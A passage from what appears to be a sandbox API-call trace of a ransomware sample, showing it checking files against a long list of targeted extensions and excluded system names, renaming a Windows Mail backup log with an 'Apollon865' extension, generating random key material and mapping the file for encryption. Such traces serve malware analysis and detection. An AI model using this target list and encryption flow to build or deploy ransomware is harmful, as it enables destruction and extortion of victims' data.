	[0059.292] lstrcmpiW (lpString1="og", lpString2="nv") returned 1
	[0059.292] lstrlenW (lpString="nv2") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="nv2") returned -1
	[0059.292] lstrlenW (lpString="nwdb") returned 4
	[0059.292] lstrcmpiW (lpString1=".log", lpString2="nwdb") returned -1
	[0059.292] lstrlenW (lpString="nyf") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="nyf") returned -1
	[0059.292] lstrlenW (lpString="odb") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0059.292] lstrlenW (lpString="odb") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0059.292] lstrlenW (lpString="oqy") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="oqy") returned -1
	[0059.292] lstrlenW (lpString="ora") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="ora") returned -1
	[0059.293] lstrlenW (lpString="orx") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="orx") returned -1
	[0059.293] lstrlenW (lpString="owc") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="owc") returned -1
	[0059.293] lstrlenW (lpString="p96") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="p96") returned -1
	[0059.293] lstrlenW (lpString="p97") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="p97") returned -1
	[0059.293] lstrlenW (lpString="pan") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="pan") returned -1
	[0059.293] lstrlenW (lpString="pdb") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="pdb") returned -1
	[0059.293] lstrlenW (lpString="pdm") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="pdm") returned -1
	[0059.293] lstrlenW (lpString="pnz") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="pnz") returned -1
	[0059.293] lstrlenW (lpString="qry") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="qry") returned -1
	[0059.293] lstrlenW (lpString="qvd") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="qvd") returned -1
	[0059.293] lstrlenW (lpString="rbf") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="rbf") returned -1
	[0059.293] lstrlenW (lpString="rctd") returned 4
	[0059.293] lstrcmpiW (lpString1=".log", lpString2="rctd") returned -1
	[0059.293] lstrlenW (lpString="rod") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="rod") returned -1
	[0059.293] lstrlenW (lpString="rodx") returned 4
	[0059.293] lstrcmpiW (lpString1=".log", lpString2="rodx") returned -1
	[0059.293] lstrlenW (lpString="rpd") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="rpd") returned -1
	[0059.293] lstrlenW (lpString="rsd") returned 3
	[0059.293] lstrcmpiW (lpString1="log", lpString2="rsd") returned -1
	[0059.293] lstrlenW (lpString="sas7bdat") returned 8
	[0059.293] lstrcmpiW (lpString1="0001.log", lpString2="sas7bdat") returned -1
	[0059.294] lstrlenW (lpString="sbf") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="sbf") returned -1
	[0059.294] lstrlenW (lpString="scx") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="scx") returned -1
	[0059.294] lstrlenW (lpString="sdb") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="sdb") returned -1
	[0059.294] lstrlenW (lpString="sdc") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="sdc") returned -1
	[0059.294] lstrlenW (lpString="sdf") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="sdf") returned -1
	[0059.294] lstrlenW (lpString="sis") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="sis") returned -1
	[0059.294] lstrlenW (lpString="spq") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="spq") returned -1
	[0059.294] lstrlenW (lpString="te") returned 2
	[0059.294] lstrcmpiW (lpString1="og", lpString2="te") returned -1
	[0059.294] lstrlenW (lpString="teacher") returned 7
	[0059.294] lstrcmpiW (lpString1="001.log", lpString2="teacher") returned -1
	[0059.294] lstrlenW (lpString="tmd") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="tmd") returned -1
	[0059.294] lstrlenW (lpString="tps") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="tps") returned -1
	[0059.294] lstrlenW (lpString="trc") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0059.294] lstrlenW (lpString="trc") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0059.294] lstrlenW (lpString="trm") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="trm") returned -1
	[0059.294] lstrlenW (lpString="udb") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="udb") returned -1
	[0059.294] lstrlenW (lpString="udl") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="udl") returned -1
	[0059.294] lstrlenW (lpString="usr") returned 3
	[0059.294] lstrcmpiW (lpString1="log", lpString2="usr") returned -1
	[0059.295] lstrlenW (lpString="v12") returned 3
	[0059.295] lstrcmpiW (lpString1="log", lpString2="v12") returned -1
	[0059.295] lstrlenW (lpString="vis") returned 3
	[0059.295] lstrcmpiW (lpString1="log", lpString2="vis") returned -1
	[0059.295] lstrlenW (lpString="vpd") returned 3
	[0059.295] lstrcmpiW (lpString1="log", lpString2="vpd") returned -1
	[0059.295] lstrlenW (lpString="vvv") returned 3
	[0059.295] lstrcmpiW (lpString1="log", lpString2="vvv") returned -1
	[0059.295] lstrlenW (lpString="wdb") returned 3
	[0059.295] lstrcmpiW (lpString1="log", lpString2="wdb") returned -1
	[0059.295] lstrlenW (lpString="wmdb") returned 4
	[0059.295] lstrcmpiW (lpString1=".log", lpString2="wmdb") returned -1
	[0059.295] lstrlenW (lpString="wrk") returned 3
	[0059.295] lstrcmpiW (lpString1="log", lpString2="wrk") returned -1
	[0059.295] lstrlenW (lpString="xdb") returned 3
	[0059.295] lstrcmpiW (lpString1="log", lpString2="xdb") returned -1
	[0059.295] lstrlenW (lpString="xld") returned 3
	[0059.295] lstrcmpiW (lpString1="log", lpString2="xld") returned -1
	[0059.295] lstrlenW (lpString="xmlff") returned 5
	[0059.295] lstrcmpiW (lpString1="1.log", lpString2="xmlff") returned -1
	[0059.295] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.Apollon865") returned 88
	[0059.295] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.apollon865"), dwFlags=0x1) returned 1
	[0059.296] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.296] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2097152) returned 1
	[0059.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0059.296] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0059.297] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.297] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0059.297] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x200300, lpName=0x0) returned 0x14c
	[0059.299] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x300) returned 0x100000
	[0059.299] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3270000
	[0059.743] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.744] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.744] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.745] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.745] CloseHandle (hObject=0x14c) returned 1
	[0059.745] CloseHandle (hObject=0x150) returned 1
	[0059.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0059.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.760] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e96d4d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0059.761] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0059.761] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0059.762] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.764] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="Apollon865.txt.exe") returned 1
	[0059.766] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".") returned 1
	[0059.767] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="..") returned 1
	[0059.767] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="windows") returned 1
	[0059.769] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="bootmgr") returned 1
	[0059.769] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="temp") returned 1
	[0059.769] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="pagefile.sys") returned 1
	[0059.769] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="boot") returned 1
	[0059.769] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="ids.txt") returned 1
	[0059.769] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="ntuser.dat") returned 1
	[0059.769] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="perflogs") returned 1
	[0059.769] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="MSBuild") returned 1
	[0059.769] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0059.769] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log") returned 77
	[0059.769] lstrcpyW (in: lpString1=0x119e68a, lpString2="WindowsMail.MSMessageStore" | out: lpString1="WindowsMail.MSMessageStore") returned="WindowsMail.MSMessageStore"
	[0059.769] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0059.770] lstrlenW (lpString="Apollon865") returned 10
	[0059.770] lstrcmpiW (lpString1="ssageStore", lpString2="Apollon865") returned 1
	[0059.770] lstrlenW (lpString=".dll") returned 4
	[0059.770] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".dll") returned 1
	[0059.770] lstrlenW (lpString=".lnk") returned 4
	[0059.770] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".lnk") returned 1
	[0059.770] lstrlenW (lpString=".ini") returned 4
	[0059.770] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".ini") returned 1
	[0059.770] lstrlenW (lpString=".sys") returned 4
	[0059.770] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".sys") returned 1
	[0059.770] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0059.770] lstrlenW (lpString="bak") returned 3
	[0059.770] lstrcmpiW (lpString1="ore", lpString2="bak") returned 1
	[0059.770] lstrlenW (lpString="ba_") returned 3
	[0059.770] lstrcmpiW (lpString1="ore", lpString2="ba_") returned 1
	[0059.770] lstrlenW (lpString="dbb") returned 3
	[0059.770] lstrcmpiW (lpString1="ore", lpString2="dbb") returned 1
	[0059.770] lstrlenW (lpString="vmdk") returned 4
	[0059.770] lstrcmpiW (lpString1="tore", lpString2="vmdk") returned -1
	[0059.770] lstrlenW (lpString="rar") returned 3
	[0059.770] lstrcmpiW (lpString1="ore", lpString2="rar") returned -1
	[0059.770] lstrlenW (lpString="zip") returned 3
	[0059.770] lstrcmpiW (lpString1="ore", lpString2="zip") returned -1
	[0059.770] lstrlenW (lpString="tgz") returned 3
	[0059.770] lstrcmpiW (lpString1="ore", lpString2="tgz") returned -1
	[0059.770] lstrlenW (lpString="vbox") returned 4
	[0059.770] lstrcmpiW (lpString1="tore", lpString2="vbox") returned -1
	[0059.770] lstrlenW (lpString="vdi") returned 3
	[0059.770] lstrcmpiW (lpString1="ore", lpString2="vdi") returned -1
	[0059.770] lstrlenW (lpString="vhd") returned 3
	[0059.770] lstrcmpiW (lpString1="ore", lpString2="vhd") returned -1
	[0059.770] lstrlenW (lpString="vhdx") returned 4
	[0059.770] lstrcmpiW (lpString1="tore", lpString2="vhdx") returned -1
	[0059.770] lstrlenW (lpString="avhd") returned 4
	[0059.771] lstrcmpiW (lpString1="tore", lpString2="avhd") returned 1
	[0059.771] lstrlenW (lpString="db") returned 2
	[0059.771] lstrcmpiW (lpString1="re", lpString2="db") returned 1
	[0059.771] lstrlenW (lpString="db2") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="db2") returned 1
	[0059.771] lstrlenW (lpString="db3") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="db3") returned 1
	[0059.771] lstrlenW (lpString="dbf") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="dbf") returned 1
	[0059.771] lstrlenW (lpString="mdf") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="mdf") returned 1
	[0059.771] lstrlenW (lpString="mdb") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="mdb") returned 1
	[0059.771] lstrlenW (lpString="sql") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="sql") returned -1
	[0059.771] lstrlenW (lpString="sqlite") returned 6
	[0059.771] lstrcmpiW (lpString1="eStore", lpString2="sqlite") returned -1
	[0059.771] lstrlenW (lpString="sqlite3") returned 7
	[0059.771] lstrcmpiW (lpString1="geStore", lpString2="sqlite3") returned -1
	[0059.771] lstrlenW (lpString="sqlitedb") returned 8
	[0059.771] lstrcmpiW (lpString1="ageStore", lpString2="sqlitedb") returned -1
	[0059.771] lstrlenW (lpString="xml") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="xml") returned -1
	[0059.771] lstrlenW (lpString="$er") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="$er") returned 1
	[0059.771] lstrlenW (lpString="4dd") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="4dd") returned 1
	[0059.771] lstrlenW (lpString="4dl") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="4dl") returned 1
	[0059.771] lstrlenW (lpString="^^^") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="^^^") returned 1
	[0059.771] lstrlenW (lpString="abs") returned 3
	[0059.771] lstrcmpiW (lpString1="ore", lpString2="abs") returned 1
	[0059.771] lstrlenW (lpString="abx") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="abx") returned 1
	[0059.772] lstrlenW (lpString="accdb") returned 5
	[0059.772] lstrcmpiW (lpString1="Store", lpString2="accdb") returned 1
	[0059.772] lstrlenW (lpString="accdc") returned 5
	[0059.772] lstrcmpiW (lpString1="Store", lpString2="accdc") returned 1
	[0059.772] lstrlenW (lpString="accde") returned 5
	[0059.772] lstrcmpiW (lpString1="Store", lpString2="accde") returned 1
	[0059.772] lstrlenW (lpString="accdr") returned 5
	[0059.772] lstrcmpiW (lpString1="Store", lpString2="accdr") returned 1
	[0059.772] lstrlenW (lpString="accdt") returned 5
	[0059.772] lstrcmpiW (lpString1="Store", lpString2="accdt") returned 1
	[0059.772] lstrlenW (lpString="accdw") returned 5
	[0059.772] lstrcmpiW (lpString1="Store", lpString2="accdw") returned 1
	[0059.772] lstrlenW (lpString="accft") returned 5
	[0059.772] lstrcmpiW (lpString1="Store", lpString2="accft") returned 1
	[0059.772] lstrlenW (lpString="adb") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="adb") returned 1
	[0059.772] lstrlenW (lpString="adb") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="adb") returned 1
	[0059.772] lstrlenW (lpString="ade") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="ade") returned 1
	[0059.772] lstrlenW (lpString="adf") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="adf") returned 1
	[0059.772] lstrlenW (lpString="adn") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="adn") returned 1
	[0059.772] lstrlenW (lpString="adp") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="adp") returned 1
	[0059.772] lstrlenW (lpString="alf") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="alf") returned 1
	[0059.772] lstrlenW (lpString="ask") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="ask") returned 1
	[0059.772] lstrlenW (lpString="btr") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="btr") returned 1
	[0059.772] lstrlenW (lpString="cat") returned 3
	[0059.772] lstrcmpiW (lpString1="ore", lpString2="cat") returned 1
	[0059.773] lstrlenW (lpString="cdb") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="cdb") returned 1
	[0059.773] lstrlenW (lpString="ckp") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="ckp") returned 1
	[0059.773] lstrlenW (lpString="cma") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="cma") returned 1
	[0059.773] lstrlenW (lpString="cpd") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="cpd") returned 1
	[0059.773] lstrlenW (lpString="dacpac") returned 6
	[0059.773] lstrcmpiW (lpString1="eStore", lpString2="dacpac") returned 1
	[0059.773] lstrlenW (lpString="dad") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="dad") returned 1
	[0059.773] lstrlenW (lpString="dadiagrams") returned 10
	[0059.773] lstrcmpiW (lpString1="ssageStore", lpString2="dadiagrams") returned 1
	[0059.773] lstrlenW (lpString="daschema") returned 8
	[0059.773] lstrcmpiW (lpString1="ageStore", lpString2="daschema") returned -1
	[0059.773] lstrlenW (lpString="db-journal") returned 10
	[0059.773] lstrcmpiW (lpString1="ssageStore", lpString2="db-journal") returned 1
	[0059.773] lstrlenW (lpString="db-shm") returned 6
	[0059.773] lstrcmpiW (lpString1="eStore", lpString2="db-shm") returned 1
	[0059.773] lstrlenW (lpString="db-wal") returned 6
	[0059.773] lstrcmpiW (lpString1="eStore", lpString2="db-wal") returned 1
	[0059.773] lstrlenW (lpString="dbc") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="dbc") returned 1
	[0059.773] lstrlenW (lpString="dbs") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="dbs") returned 1
	[0059.773] lstrlenW (lpString="dbt") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="dbt") returned 1
	[0059.773] lstrlenW (lpString="dbv") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="dbv") returned 1
	[0059.773] lstrlenW (lpString="dbx") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="dbx") returned 1
	[0059.773] lstrlenW (lpString="dcb") returned 3
	[0059.773] lstrcmpiW (lpString1="ore", lpString2="dcb") returned 1
	[0059.774] lstrlenW (lpString="dct") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="dct") returned 1
	[0059.774] lstrlenW (lpString="dcx") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="dcx") returned 1
	[0059.774] lstrlenW (lpString="ddl") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="ddl") returned 1
	[0059.774] lstrlenW (lpString="dlis") returned 4
	[0059.774] lstrcmpiW (lpString1="tore", lpString2="dlis") returned 1
	[0059.774] lstrlenW (lpString="dp1") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="dp1") returned 1
	[0059.774] lstrlenW (lpString="dqy") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="dqy") returned 1
	[0059.774] lstrlenW (lpString="dsk") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="dsk") returned 1
	[0059.774] lstrlenW (lpString="dsn") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="dsn") returned 1
	[0059.774] lstrlenW (lpString="dtsx") returned 4
	[0059.774] lstrcmpiW (lpString1="tore", lpString2="dtsx") returned 1
	[0059.774] lstrlenW (lpString="dxl") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="dxl") returned 1
	[0059.774] lstrlenW (lpString="eco") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="eco") returned 1
	[0059.774] lstrlenW (lpString="ecx") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="ecx") returned 1
	[0059.774] lstrlenW (lpString="edb") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="edb") returned 1
	[0059.774] lstrlenW (lpString="epim") returned 4
	[0059.774] lstrcmpiW (lpString1="tore", lpString2="epim") returned 1
	[0059.774] lstrlenW (lpString="fcd") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="fcd") returned 1
	[0059.774] lstrlenW (lpString="fdb") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="fdb") returned 1
	[0059.774] lstrlenW (lpString="fic") returned 3
	[0059.774] lstrcmpiW (lpString1="ore", lpString2="fic") returned 1
	[0059.774] lstrlenW (lpString="flexolibrary") returned 12
	[0059.775] lstrcmpiW (lpString1="MessageStore", lpString2="flexolibrary") returned 1
	[0059.775] lstrlenW (lpString="fm5") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="fm5") returned 1
	[0059.775] lstrlenW (lpString="fmp") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="fmp") returned 1
	[0059.775] lstrlenW (lpString="fmp12") returned 5
	[0059.775] lstrcmpiW (lpString1="Store", lpString2="fmp12") returned 1
	[0059.775] lstrlenW (lpString="fmpsl") returned 5
	[0059.775] lstrcmpiW (lpString1="Store", lpString2="fmpsl") returned 1
	[0059.775] lstrlenW (lpString="fol") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="fol") returned 1
	[0059.775] lstrlenW (lpString="fp3") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="fp3") returned 1
	[0059.775] lstrlenW (lpString="fp4") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="fp4") returned 1
	[0059.775] lstrlenW (lpString="fp5") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="fp5") returned 1
	[0059.775] lstrlenW (lpString="fp7") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="fp7") returned 1
	[0059.775] lstrlenW (lpString="fpt") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="fpt") returned 1
	[0059.775] lstrlenW (lpString="frm") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="frm") returned 1
	[0059.775] lstrlenW (lpString="gdb") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="gdb") returned 1
	[0059.775] lstrlenW (lpString="gdb") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="gdb") returned 1
	[0059.775] lstrlenW (lpString="grdb") returned 4
	[0059.775] lstrcmpiW (lpString1="tore", lpString2="grdb") returned 1
	[0059.775] lstrlenW (lpString="gwi") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="gwi") returned 1
	[0059.775] lstrlenW (lpString="hdb") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="hdb") returned 1
	[0059.775] lstrlenW (lpString="his") returned 3
	[0059.775] lstrcmpiW (lpString1="ore", lpString2="his") returned 1
	[0059.776] lstrlenW (lpString="ib") returned 2
	[0059.776] lstrcmpiW (lpString1="re", lpString2="ib") returned 1
	[0059.776] lstrlenW (lpString="idb") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="idb") returned 1
	[0059.776] lstrlenW (lpString="ihx") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="ihx") returned 1
	[0059.776] lstrlenW (lpString="itdb") returned 4
	[0059.776] lstrcmpiW (lpString1="tore", lpString2="itdb") returned 1
	[0059.776] lstrlenW (lpString="itw") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="itw") returned 1
	[0059.776] lstrlenW (lpString="jet") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="jet") returned 1
	[0059.776] lstrlenW (lpString="jtx") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="jtx") returned 1
	[0059.776] lstrlenW (lpString="kdb") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="kdb") returned 1
	[0059.776] lstrlenW (lpString="kexi") returned 4
	[0059.776] lstrcmpiW (lpString1="tore", lpString2="kexi") returned 1
	[0059.776] lstrlenW (lpString="kexic") returned 5
	[0059.776] lstrcmpiW (lpString1="Store", lpString2="kexic") returned 1
	[0059.776] lstrlenW (lpString="kexis") returned 5
	[0059.776] lstrcmpiW (lpString1="Store", lpString2="kexis") returned 1
	[0059.776] lstrlenW (lpString="lgc") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="lgc") returned 1
	[0059.776] lstrlenW (lpString="lwx") returned 3
